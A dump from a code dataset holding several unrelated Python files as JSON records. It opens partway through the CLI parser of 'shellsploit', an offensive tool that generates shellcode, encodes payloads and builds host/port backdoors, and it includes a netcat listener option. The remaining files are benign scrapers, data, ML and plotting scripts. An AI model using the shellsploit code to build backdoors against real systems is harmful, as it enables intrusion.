require=False)\n exit()\n\n\n if options.shellcode:\n if options.shellcode == \"external\":\n from .core.backdoors import encoderlist\n if options.encoder in encoderlist( require=True):\n module = Base.dynamicimport('shell.encoders.shellcode.'+(options.encoder.split(\"/\")[-1]).replace(\".py\", \"\"))\t\n if options.payload.startswith(r\"\\x\"):\n options.payload = options.payload.replace('\"', \"\").strip()\n else:\n try:\n with open(options.payload, \"r\") as payload:\n options.payload = binary2hex(payload.read())\n except Exception as error:\n exit(\"Unexpected error : \", error)\n\n data = module.prestart( options.payload.replace(r\"\\x\", \"\"), options.iteration)\n if options.output:\n with open(options.output, \"w\") as output:\n output.write(data)\n else:\n print(\"\\n\"+data)\n exit()\n\n else:\n exit(\"This encoder is not avaible.\")\n\n else:\n from .core.shellcodes import shellcodelist\n shellcodelist = [x.lower() for x in shellcodelist( True)]\n if options.shellcode.lower() in shellcodelist:\n from .database.generator import generator\n choose, shellcode = options.shellcode.split(\"/\")\n startime = time.time()\n output = (\"\\n\"+generator( \n choose=choose, shellcode=shellcode, COMMAND=options.command,\n FILE=options.file, FILENAME=options.filename, ip=options.host,\n port=options.port, URL=options.url, PASSWORD=options.password\n )+\"\\n\\n\")\n\n print (\"\\nModule : {0}\".format(options.shellcode))\n print (\"Generate time : %.2f\" % (float(startime)-(time.time())))\n print (output)\n exit()\n\n\n if options.list == \"injectors\":\n from .core.lists import injectorlist\n injectorlist()\n exit()\n\n elif options.nc == \"netcat\" or options.nc == \"nc\":\n from .Session.netcat import nc\n if options.port:\n nc( int(options.port))\n else:\n nc()\n exit()\n\n\n else:\n if options.payload:\n if options.host and options.port:\n from .core.backdoors import backdoorlist\n from .core.backdoors import encoderlist\n if options.payload in backdoorlist( require=True):\n from .Session.generator import process\n if options.encoder in encoderlist( True):\n if \"py\" in options.encoder and \"python\" not in options.payload:\n exit(\"\\nThis encoder can not use with that payload\\n\")\n if options.output:\n process( options.payload, options.host, options.port, options.encoder, options.output)\n else:\n process( options.payload, options.host, options.port, options.encoder,True)\n else:\n exit(\"\\npython shellsploit -p PAYLOAD -e ENCODER --host IP --port P0RT\\n\")\n else:\n exit(\"\\npython shellsploit -p PAYLOAD -e ENCODER --host IP --port P0RT\\n\")\n\n\n #For external scripts\n elif options.script:\n if options.encoder:\n from .core.backdoors import encoderlist\n if options.encoder in encoderlist( True):\n if \"/py/\" in options.encoder:\n from shell.encoders.py.starter import control\n elif \"/shellcode/\" in options.encoder:\n from shell.encoders.shellcode.starter import control\n #elif options.script.endswith(\".py\") and \"/py/\" in options.encoder:\n #elif options.script.endswith(\".py\") and \"/py/\" in options.encoder: \n try:\n options.script = os.getcwd()+os.sep+options.script if \"/\" not in options.script else options.script\n control(payload=options.encoder, files=[options.script], iteration=options.iteration)\n if options.output:\n if os.path.isdir(\"/\".join(options.output.split(\"/\")[:(len(options.output.split(\"/\"))-1)])):\n try:\n move(options.script, options.output)\n except Exception as error:\n exit( \"\\nUnexpected error while moving file to target\\n\")\n else:\n exit(\"\\nFile encoded : {0}\\n\".format( options.output)) \n else:\n exit(\"\\nYour target directory is not exist.\\n\")\n else:\n exit(\"\\nFile encoded : {0}\\n\".format( options.script))\t\n except Exception as error:\n exit(\"\\nUnexpected error : {0}\\n\".format( error))\n else:\n exit(\"\\npython shellsploit --script YOURFILE --encoder ENCODERNAME\\n\")\n else:\n exit(\"\\npython shellsploit --script YOURFILE --encoder ENCODERNAME\\n\")\t\n\nParser()\n", "sub_path": "shell/parser.py", "file_name": "parser.py", "file_ext": "py", "file_size_in_byte": 7020, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "lib.core.base.Base", "line_number": 6, "usage_type": "name"}, {"api_name": "optparse.OptionParser", "line_number": 8, "usage_type": "call"}, {"api_name": "core.backdoors.backdoorlist", "line_number": 35, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 36, "usage_type": "call"}, {"api_name": "core.shellcodes.shellcodelist", "line_number": 41, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 42, "usage_type": "call"}, {"api_name": "core.backdoors.encoderlist", "line_number": 47, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 48, "usage_type": "call"}, {"api_name": "core.backdoors.encoderlist", "line_number": 54, "usage_type": "call"}, {"api_name": "lib.core.base.Base.dynamicimport", "line_number": 55, "usage_type": "call"}, {"api_name": "lib.core.base.Base", "line_number": 55, "usage_type": "name"}, {"api_name": "sys.exit", "line_number": 63, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 71, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 74, "usage_type": "call"}, {"api_name": "core.shellcodes.shellcodelist", "line_number": 78, "usage_type": "name"}, {"api_name": "core.shellcodes.shellcodelist", "line_number": 79, "usage_type": "name"}, {"api_name": "time.time", "line_number": 82, "usage_type": "call"}, {"api_name": "database.generator.generator", "line_number": 83, "usage_type": "call"}, {"api_name": "time.time", "line_number": 90, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 92, "usage_type": "call"}, {"api_name": "core.lists.injectorlist", "line_number": 97, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 98, "usage_type": "call"}, {"api_name": "Session.netcat.nc", "line_number": 103, "usage_type": "call"}, {"api_name": "Session.netcat.nc", "line_number": 105, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 106, "usage_type": "call"}, {"api_name": "core.backdoors.backdoorlist", "line_number": 114, "usage_type": "call"}, {"api_name": "core.backdoors.encoderlist", "line_number": 116, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 118, "usage_type": "call"}, {"api_name": "Session.generator.process", "line_number": 120, "usage_type": "call"}, {"api_name": "Session.generator.process", "line_number": 122, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 124, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 126, "usage_type": "call"}, {"api_name": "core.backdoors.encoderlist", "line_number": 133, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 141, "usage_type": "call"}, {"api_name": "os.sep", "line_number": 141, "usage_type": "attribute"}, {"api_name": "shell.encoders.shellcode.starter.control", "line_number": 142, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 144, "usage_type": "call"}, {"api_name": "os.path", "line_number": 144, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 148, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 150, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 152, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 154, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 156, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 158, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 160, "usage_type": "call"}, {"api_name": "{'optparse': 'optparse', 'backdoorlist': 'core.backdoors.backdoorlist', 'shellcodelist': 'core.shellcodes.shellcodelist', 'encoderlist': 'core.backdoors.encoderlist', 'generator': 'database.generator.generator', 'injectorlist': 'core.lists.injectorlist', 'nc': 'Session.netcat.nc', 'process': 'Session.generator.process', 'control': 'shell.encoders.shellcode.starter.control'}", "line_number": 162, "usage_type": "call"}]} +{"seq_id": "597583529", "text": "import urllib.request\nimport requests\nimport pandas as pd\nfrom bs4 import BeautifulSoup\nfrom selenium import webdriver\n\n#Capture the image we want\ndownload = input('Please write khabib? ')\n\n# Capture the number of images we want\nn_images = int(input('How many images do you want? '))\n\n# return the url link which contain the images\ndef url(download):\n url = 'https://www.google.com/search?tbm=isch&q='+download\n return url\n\n# return the url link which contain the images\ndef extract_image(images):\n count = 0\n for image in images:\n #print(i['src'])\n try:\n #passing image urls one by one and downloading\n urllib.request.urlretrieve(image['src'], str(count)+\".jpg\")\n count += 1\n print(\"Number of images downloaded = \"+str(count),end='\\r')\n except Exception as e:\n pass\n\ndef image():\n #providing driver path\n chrome_path = r\"C:\\Users\\Carlisson\\Desktop\\chromedriver\\chromedriver.exe\"\n driver = webdriver.Chrome(executable_path = chrome_path)\n\n site = url(download)\n\n #passing site url\n driver.get(site)\n\n #parsing\n soup = BeautifulSoup(driver.page_source, 'html.parser')\n\n #scraping image urls with the help of image tag and class used for images\n images = soup.find_all(\"img\", attrs={'class':\"rg_i Q4LuWd\"},limit=n_images)\n\n extract_image(images)\n # closing web browser\n driver.close()\n\n# run the code\nimage()\n\n\n", "sub_path": "Khabib/webscrapping_images_khabib.py", "file_name": "webscrapping_images_khabib.py", "file_ext": "py", "file_size_in_byte": 1436, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "urllib.request.request.urlretrieve", "line_number": 25, "usage_type": "call"}, {"api_name": "urllib.request.request", "line_number": 25, "usage_type": "attribute"}, {"api_name": "urllib.request", "line_number": 25, "usage_type": "name"}, {"api_name": "selenium.webdriver.Chrome", "line_number": 34, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 34, "usage_type": "name"}, {"api_name": "bs4.BeautifulSoup", "line_number": 42, "usage_type": "call"}]} +{"seq_id": "494292077", "text": "import sys\nimport argparse\nimport re\n\nimport numpy as np\nimport pandas as pd\nimport pysradb\n\n\n# def unescaped_str(arg_str):\n# \"\"\"\n# Borrowed from https://stackoverflow.com/questions/34145686/handling-argparse-escaped-character-as-option\n# \"\"\"\n# return codecs.decode(str(arg_str), 'unicode-escape')\n\nclass SmartFormatter(argparse.HelpFormatter):\n '''\n Custom Help Formatter used to split help text when '\\n' was \n inserted in it.\n '''\n\n def _split_lines(self, text, width):\n r = []\n for t in text.splitlines(): r.extend(argparse.HelpFormatter._split_lines(self, t, width))\n return r\n\ndef parse_args(args):\n parser = argparse.ArgumentParser(\n description='Create the input section for distiller\\'s project.yml from GEO/ENA/SRA accessions.',\n # formatter_class=argparse.RawDescriptionHelpFormatter\n formatter_class=SmartFormatter\n )\n parser.add_argument(\n 'accessions', \n metavar='N', \n type=str, \n nargs='+',\n help='GEO/SRA/ENA accession with a Hi-C project. Multiple values are allowed.')\n parser.add_argument(\n '--title_sub', \n nargs=2, \n action='append',\n# type=unescaped_str,\n default = [],\n help='A list of regular expression substitutions to clean up the experiment titles. '\n 'Multiple sequential substitutions are allowed. ' \n 'Each substitution must be provided using a separate flag --title_sub followed by '\n 'a pair of regular expressions pat repl, separated by a space, '\n 'where pat is the matching pattern and repl is the replacement string. '\n 'Internally, these expressions are then provided to pandas.Series.str.replace() or re.sub(). '\n 'The default substitutions (1) replace spaces with underscores and (2) remove characters not matching '\n 'A–Z a–z 0–9 ._- (a.k.a. the POSIX portable file name character set):'\n '\\n'\n '--title_sub \\'\\\\s\\' \\'_\\' --title_sub \\'[^\\\\w_.-]\\' \\'\\''\n )\n parser.add_argument(\n '--group_sub', \n nargs=2, \n action='append',\n# type=unescaped_str,\n default = [],\n help='A list of regular expression substitutions to convert experiment titles into groups. '\n 'The usage is same as above. The default substitution removes patterns like _R1/_R2/_rep1/-R1/R1 '\n 'at the end of the experiment title:'\n '\\n'\n '--group_sub \\'[_-](R|rep)[\\\\d+]$\\' \\'\\''\n )\n\n parser.add_argument(\n '--filter_pre', \n nargs=1, \n action='append',\n default = [],\n type=str,\n help='A regular expression to filter datasets by their *unedited* name. '\n 'If multiple filters are provided, select datasets that satisfy at least one of the filters. '\n '--filter \\'[Hh][Ii]-?[Cc]\\''\n )\n\n parser.add_argument(\n '--filter_post', \n action='append',\n default = [],\n type=str,\n help='A regular expression to filter datasets by their *edited* name. '\n 'If multiple filters are provided, select datasets that satisfy at least one of the filters. '\n '--filter \\'[Hh][Ii]-?[Cc]\\''\n )\n \n return parser.parse_args(args)\n\ndef to_downloadable(queries):\n out_queries = []\n for q in queries:\n if q.startswith('GSE'):\n out_queries += list(\n pysradb.SRAweb()\n .gse_to_srp(q)\n .study_accession\n )\n else: \n out_queries.append(q)\n return out_queries\n\nDEFAULT_TITLE_SUB = [\n ('\\s', '_'),\n ('[^\\w_.-]', '') # the first character cannot be a hyphen!!\n ]\nDEFAULT_GROUP_SUB = [\n ('[_-](R|rep)_?[\\d+]$', '')\n]\n\nTAB_CHAR = ' '\n\nargs = parse_args(sys.argv[1:])\n\ndb = pysradb.SRAweb()\n\nqueries = to_downloadable(args.accessions)\n \nsrr_table = pd.concat([ \n db.sra_metadata(q)\n for q in queries\n])\n\nsrr_table = srr_table[['experiment_title', 'run_accession']]\n\nsrr_table['experiment_title'] = (\n srr_table['experiment_title']\n .str.split(';')\n .str.get(0)\n .str.split(':', n=1)\n .str.get(1)\n .str.strip()\n)\n\nif args.filter_pre:\n mask = np.logical_or.reduce([\n srr_table['experiment_title'].str.contains(fltr, regex=True) \n for fltr in list(args.filter_pre)])\n srr_table = srr_table[mask]\n\nfor re_sub in (args.title_sub if args.title_sub else DEFAULT_TITLE_SUB):\n srr_table['experiment_title'] = (\n srr_table.experiment_title\n .str.replace(re_sub[0], re_sub[1], regex=True)\n )\n\nif args.filter_post:\n mask = np.logical_or.reduce([\n srr_table['experiment_title'].str.contains(fltr, regex=True) \n for fltr in list(args.filter_post)])\n srr_table = srr_table[mask]\n\n\nsrr_table=srr_table.sort_values(['experiment_title','run_accession'])\n\nsrr_table['lane'] = (\n 'lane'\n + (srr_table.groupby('experiment_title').cumcount()+1)\n .astype('str')\n)\n\ngroup = srr_table.experiment_title\nfor sub in (args.group_sub if args.group_sub else DEFAULT_GROUP_SUB):\n group = group.str.replace(sub[0], sub[1])\nsrr_table['group'] = group\n\n# Keeping this code in case YAML structures will become useful:\n\n# out_raw_reads_paths = {}\n# for title, grouped in srr_table.groupby('experiment_title'):\n# out_raw_reads_paths[title] = {\n# row.lane:f'- sra:{row.run_accession}'\n# for _,row in grouped.iterrows()\n# }\n\n# out_library_groups = {}\n# for group, grouped in srr_table.groupby('group'):\n# experiment_titles = list(grouped.experiment_title.unique())\n# if len(experiment_titles) > 1:\n# out_library_groups[group] = experiment_titles\n\n\nout_raw_reads_paths = [f'{TAB_CHAR}raw_reads_paths:']\nfor title, grouped in srr_table.groupby('experiment_title'):\n out_raw_reads_paths.append(f'{TAB_CHAR}{TAB_CHAR}{title}:')\n for _, row in grouped.iterrows():\n out_raw_reads_paths.append(f'{TAB_CHAR}{TAB_CHAR}{TAB_CHAR}{row.lane}:')\n out_raw_reads_paths.append(f'{TAB_CHAR}{TAB_CHAR}{TAB_CHAR}{TAB_CHAR}- sra:{row.run_accession}')\n\nout_library_groups = [f'{TAB_CHAR}library_groups:']\nfor group, grouped in srr_table.groupby('group'):\n experiment_titles = grouped.experiment_title.unique()\n if len(experiment_titles) > 1:\n out_library_groups.append(f'{TAB_CHAR}{TAB_CHAR}{group}:')\n out_library_groups += [f'{TAB_CHAR}{TAB_CHAR}{TAB_CHAR}- {title}' \n for title in experiment_titles]\n\nout = '\\n'.join(['input:']+out_raw_reads_paths+out_library_groups) \n\nprint(out)\n\n", "sub_path": "bin/geo2yaml.py", "file_name": "geo2yaml.py", "file_ext": "py", "file_size_in_byte": 6592, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "argparse.HelpFormatter", "line_number": 16, "usage_type": "attribute"}, {"api_name": "argparse.HelpFormatter._split_lines", "line_number": 24, "usage_type": "call"}, {"api_name": "argparse.HelpFormatter", "line_number": 24, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentParser", "line_number": 28, "usage_type": "call"}, {"api_name": "pysradb.SRAweb", "line_number": 97, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 115, "usage_type": "attribute"}, {"api_name": "pysradb.SRAweb", "line_number": 117, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 121, "usage_type": "call"}, {"api_name": "numpy.logical_or.reduce", "line_number": 138, "usage_type": "call"}, {"api_name": "numpy.logical_or", "line_number": 138, "usage_type": "attribute"}, {"api_name": "numpy.logical_or.reduce", "line_number": 150, "usage_type": "call"}, {"api_name": "numpy.logical_or", "line_number": 150, "usage_type": "attribute"}]} +{"seq_id": "257524853", "text": "# encoding: utf-8\nfrom django.shortcuts import render\nfrom students.models import Student\nfrom courses.models import Course\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom django.utils.datastructures import MultiValueDictKeyError\n\ndef detail(request, id):\n student = Student.objects.get(id=id)\n return render(request, 'students/detail.html',\n {\"student\":student})\n\ndef list_view(request):\n try:\n course_id=int(request.GET['course_id'])\n students_qs = Student.objects.filter(courses__id=course_id).order_by('id')\n if not students_qs:\n raise ObjectDoesNotExist\n\n except (ObjectDoesNotExist, ValueError, MultiValueDictKeyError):\n students_qs = Student.objects.all()\n\n return render(request, 'students/list.html',\n {\"students\":students_qs})\n", "sub_path": "students/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 825, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "students.models.Student.objects.get", "line_number": 9, "usage_type": "call"}, {"api_name": "students.models.Student.objects", "line_number": 9, "usage_type": "attribute"}, {"api_name": "students.models.Student", "line_number": 9, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 10, "usage_type": "call"}, {"api_name": "students.models.Student.objects.filter", "line_number": 16, "usage_type": "call"}, {"api_name": "students.models.Student.objects", "line_number": 16, "usage_type": "attribute"}, {"api_name": "students.models.Student", "line_number": 16, "usage_type": "name"}, {"api_name": "django.core.exceptions.ObjectDoesNotExist", "line_number": 18, "usage_type": "name"}, {"api_name": "django.core.exceptions.ObjectDoesNotExist", "line_number": 20, "usage_type": "name"}, {"api_name": "django.utils.datastructures.MultiValueDictKeyError", "line_number": 20, "usage_type": "name"}, {"api_name": "students.models.Student.objects.all", "line_number": 21, "usage_type": "call"}, {"api_name": "students.models.Student.objects", "line_number": 21, "usage_type": "attribute"}, {"api_name": "students.models.Student", "line_number": 21, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 23, "usage_type": "call"}]} +{"seq_id": "64544299", "text": "import argparse\nimport numpy as np\nfrom sklearn.ensemble import IsolationForest\nimport multiprocessing\nfrom scipy import sparse\nimport pandas as pd\nimport math\nfrom util.eval_result import EvalResult\n\n\nclass IsolationForestModel:\n def __init__(self, args, input_file: str, data_set):\n self.n_estimators = args.n_estimators\n self.contamination = data_set['contamination']\n self.input_file = input_file\n self.cont_mode = args.cont_mode\n if self.cont_mode == 'custom':\n self.c_floor = args.c_floor\n self.c_ceiling = args.c_ceiling\n\n # Convert matrix to sparse (way faster)\n df = data_set['df'].drop(['label'], axis=1)\n sparse_matrix = sparse.csr_matrix(df)\n self.X_sparse = pd.DataFrame.sparse.from_spmatrix(sparse_matrix)\n self.y = data_set['df']['label'].values\n\n self.n_jobs = self.calculate_njobs(df=df)\n\n def calculate_njobs(self, df):\n cpus = multiprocessing.cpu_count()\n # Scale down with increasing data set\n # Not needed when using sparse matrices\n # million_rows = max(math.floor(len(df) / 10**6), 1)\n # cpus = max(math.floor(cpus / million_rows), 3)\n\n print(f'[+] Using cores: {cpus}')\n\n return cpus\n\n def train_validate(self):\n print('[+] Fitting')\n if self.cont_mode == 'custom':\n self.contamination = max(min(self.contamination, self.c_ceiling), self.c_floor)\n isolation_forest = IsolationForest(n_estimators=self.n_estimators, contamination=self.contamination, random_state=0, n_jobs=self.n_jobs).fit(self.X_sparse)\n\n elif self.cont_mode == 'auto':\n isolation_forest = IsolationForest(n_estimators=self.n_estimators, random_state=0, n_jobs=self.n_jobs).fit(self.X_sparse)\n\n elif self.cont_mode == 'exact':\n isolation_forest = IsolationForest(n_estimators=self.n_estimators, contamination=self.contamination, random_state=0, n_jobs=self.n_jobs).fit(self.X_sparse)\n\n print('[+] Predicting')\n y_pred = isolation_forest.predict(self.X_sparse)\n\n y_pred = np.where(y_pred == -1, 'A', 'N') # Get predicted labels\n\n eval_results = EvalResult(input_file=self.input_file, true_y=self.y, pred_y=y_pred)\n eval_results.pretty_print()\n return eval_results\n\n\n # Returns the static portion of the model id (filename not included)\n @staticmethod\n def get_static_id(args):\n if args.cont_mode == 'custom':\n return f'iForest_{args.n_estimators}_{args.cont_mode}_{args.c_floor}_{args.c_ceiling}'\n else:\n return f'iForest_{args.n_estimators}_{args.cont_mode}'\n\n @staticmethod\n def append_args(argparser: argparse.ArgumentParser):\n argparser.add_argument('--n-estimators', dest='n_estimators', default=100, type=int)\n argparser.add_argument('--c-mode', dest='cont_mode', default='exact', choices=['exact', 'auto', 'custom'])\n argparser.add_argument('--cc-floor', dest='c_floor', default='0.01', type=float)\n argparser.add_argument('--cc-ceil', dest='c_ceiling', default='0.05', type=float)", "sub_path": "src/models/isolation_forest.py", "file_name": "isolation_forest.py", "file_ext": "py", "file_size_in_byte": 3130, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "scipy.sparse.csr_matrix", "line_number": 23, "usage_type": "call"}, {"api_name": "scipy.sparse", "line_number": 23, "usage_type": "name"}, {"api_name": "pandas.DataFrame.sparse.from_spmatrix", "line_number": 24, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 24, "usage_type": "attribute"}, {"api_name": "multiprocessing.cpu_count", "line_number": 30, "usage_type": "call"}, {"api_name": "sklearn.ensemble.IsolationForest", "line_number": 44, "usage_type": "call"}, {"api_name": "sklearn.ensemble.IsolationForest", "line_number": 47, "usage_type": "call"}, {"api_name": "sklearn.ensemble.IsolationForest", "line_number": 50, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 55, "usage_type": "call"}, {"api_name": "util.eval_result.EvalResult", "line_number": 57, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 71, "usage_type": "attribute"}]} +{"seq_id": "123691182", "text": "from typing import Optional, List, Dict, Any, Type\n\nfrom rdflib import Namespace, Graph, RDF, Literal, URIRef\n\nfrom altimeter.core.graph.link.base import Link\nfrom altimeter.core.graph.link.links import link_from_dict\nfrom altimeter.core.graph.node_cache import NodeCache\n\n\nclass Resource:\n \"\"\"A Resource defines a single scanned resource which is directly translatable to a graph\n node. It contains an id, type name and list of Links.\n\n Args:\n resource_id: id of this resource\n type_name: type name of this resource\n links: List of Links for this resource\n \"\"\"\n\n def __init__(self, resource_id: str, type_name: str, links: Optional[List[Link]] = None):\n self.resource_id = resource_id\n self.type_name = type_name\n self.links = [] if links is None else links\n\n def to_dict(self) -> Dict[str, Any]:\n \"\"\"Generate a dict representation of this Resource.\n\n Returns:\n dict representation of this Resource\n \"\"\"\n scan_json: Dict[str, Any] = {\"type\": self.type_name}\n if self.links:\n scan_json[\"links\"] = [link.to_dict() for link in self.links]\n return scan_json\n\n @classmethod\n def from_dict(\n cls: Type[\"Resource\"], resource_id: str, resource_data: Dict[str, Any]\n ) -> \"Resource\":\n \"\"\"Create an instances of this class from a resource_id and resource_data dict\n as generated by to_dict.\n\n Args:\n resource_id: resource id\n resource_data: dict of data for this resource\n\n Returns:\n Resource object\n \"\"\"\n type_name = resource_data[\"type\"]\n links: List[Link] = []\n for link in resource_data.get(\"links\", []):\n links.append(link_from_dict(link))\n return cls(resource_id=resource_id, type_name=type_name, links=links)\n\n def to_rdf(self, namespace: Namespace, graph: Graph, node_cache: NodeCache) -> None:\n \"\"\"Graph this Resource as a URIRef on a Graph.\n\n Args:\n namespace: RDF namespace to use for predicates and objects when graphing\n this resource's links\n graph: RDF graph\n node_cache: NodeCache to use for any cached URIRef lookups\n \"\"\"\n node = node_cache.setdefault(self.resource_id, URIRef(self.resource_id))\n graph.add((node, RDF.type, getattr(namespace, self.type_name)))\n graph.add((node, getattr(namespace, \"id\"), Literal(self.resource_id)))\n for link in self.links:\n link.to_rdf(subj=node, namespace=namespace, graph=graph, node_cache=node_cache)\n\n def to_lpg(self, vertices: List[Dict], edges: List[Dict]) -> None:\n \"\"\"Graph this Resource as a dictionary into the vertices and edges lists.\n\n Args:\n vertices: List containing dictionaries representing a vertex\n edges: List containing dictionaries representing an edge\n \"\"\"\n vertex = {\n \"~id\": self.resource_id,\n \"~label\": self.type_name,\n \"arn\": self.resource_id,\n }\n for link in self.links:\n link.to_lpg(vertex, vertices, edges, \"\")\n\n vertices.append(vertex)\n", "sub_path": "altimeter/core/resource/resource.py", "file_name": "resource.py", "file_ext": "py", "file_size_in_byte": 3198, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "typing.Optional", "line_number": 20, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 20, "usage_type": "name"}, {"api_name": "altimeter.core.graph.link.base.Link", "line_number": 20, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 31, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 31, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 25, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 25, "usage_type": "name"}, {"api_name": "typing.Type", "line_number": 38, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 38, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 38, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 51, "usage_type": "name"}, {"api_name": "altimeter.core.graph.link.base.Link", "line_number": 51, "usage_type": "name"}, {"api_name": "altimeter.core.graph.link.links.link_from_dict", "line_number": 53, "usage_type": "call"}, {"api_name": "rdflib.Namespace", "line_number": 56, "usage_type": "name"}, {"api_name": "rdflib.Graph", "line_number": 56, "usage_type": "name"}, {"api_name": "altimeter.core.graph.node_cache.NodeCache", "line_number": 56, "usage_type": "name"}, {"api_name": "rdflib.URIRef", "line_number": 65, "usage_type": "call"}, {"api_name": "rdflib.RDF.type", "line_number": 66, "usage_type": "attribute"}, {"api_name": "rdflib.RDF", "line_number": 66, "usage_type": "name"}, {"api_name": "rdflib.Literal", "line_number": 67, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 71, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 71, "usage_type": "name"}]} +{"seq_id": "464541183", "text": "import pickle\nimport sys\nimport os\nimport matplotlib.pyplot as plt\n\nhist = {}\n\nfilename = sys.argv[1]\nprint(filename)\n\nwith open(filename, 'rb') as f:\n hist = pickle.load(f)\n\nx = range(int(len(hist['D_loss'])/20))\n\ny1_original = hist['D_loss']\ny2_original = hist['G_loss']\n\ny1 = []\ny2 = []\n\nfor index in range(int(len(hist['D_loss'])/20)):\n\ty1.append(sum(y1_original[index*20:index*20+20])/20)\n\ty2.append(sum(y2_original[index*20:index*20+20])/20)\n\nplt.plot(x, y1, label='D_loss')\nplt.plot(x, y2, label='G_loss')\n\nplt.xlabel('Iter')\nplt.ylabel('Loss')\n\nplt.legend(loc=4)\nplt.grid(True)\nplt.tight_layout()\n\nplt.show()\n\nplt.close()\n", "sub_path": "loss_plot.py", "file_name": "loss_plot.py", "file_ext": "py", "file_size_in_byte": 633, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "sys.argv", "line_number": 8, "usage_type": "attribute"}, {"api_name": "pickle.load", "line_number": 12, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 26, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 26, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 27, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 27, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 29, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 29, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 30, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 30, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 32, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 32, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 33, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 33, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tight_layout", "line_number": 34, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 34, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 36, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 36, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 38, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 38, "usage_type": "name"}]} +{"seq_id": "333470216", "text": "import numpy as np\nimport matplotlib.pyplot as plt\nimport pickle\nimport acc_library as al\nimport matplotlib.cm as cm\n\nsim_type = 'diffusor_0.3_300um'\n\n# file_list = ['_dppp', '_1.2', '_1.0', '_0.7', '_0.5', '_0.25', '', '_m0.25', '_m0.5', '_m0.7', '_m1.0', '_m1.2', '_dppm']\n\n# dpp = [1.5, 1.2, 1.0, 0.7, 0.5, 0.25, 0.0, -0.25, -0.5, -0.7, -1.0, -1.2, -1.5]\n\nfile_list = ['']\ndpp = [0.0]\n\nlabels = {'': r'$\\delta_p$ = 0',\n '_dppp': r'$\\delta_p = 1.5 \\times 10^{-3}$',\n '_1.2': r'$\\delta_p = 1.2 \\times 10^{-3}$',\n '_1.0': r'$\\delta_p = 1.0 \\times 10^{-3}$',\n '_0.7': r'$\\delta_p = 0.7 \\times 10^{-3}$',\n '_0.5': r'$\\delta_p = 0.5 \\times 10^{-3}$',\n '_0.25': r'$\\delta_p = 0.25 \\times 10^{-3}$',\n '_m0.25': r'$\\delta_p = -0.25 \\times 10^{-3}$',\n '_m0.5': r'$\\delta_p = -0.5 \\times 10^{-3}$',\n '_m0.7': r'$\\delta_p = -0.7 \\times 10^{-3}$',\n '_m1.0': r'$\\delta_p = -1.0 \\times 10^{-3}$',\n '_m1.2': 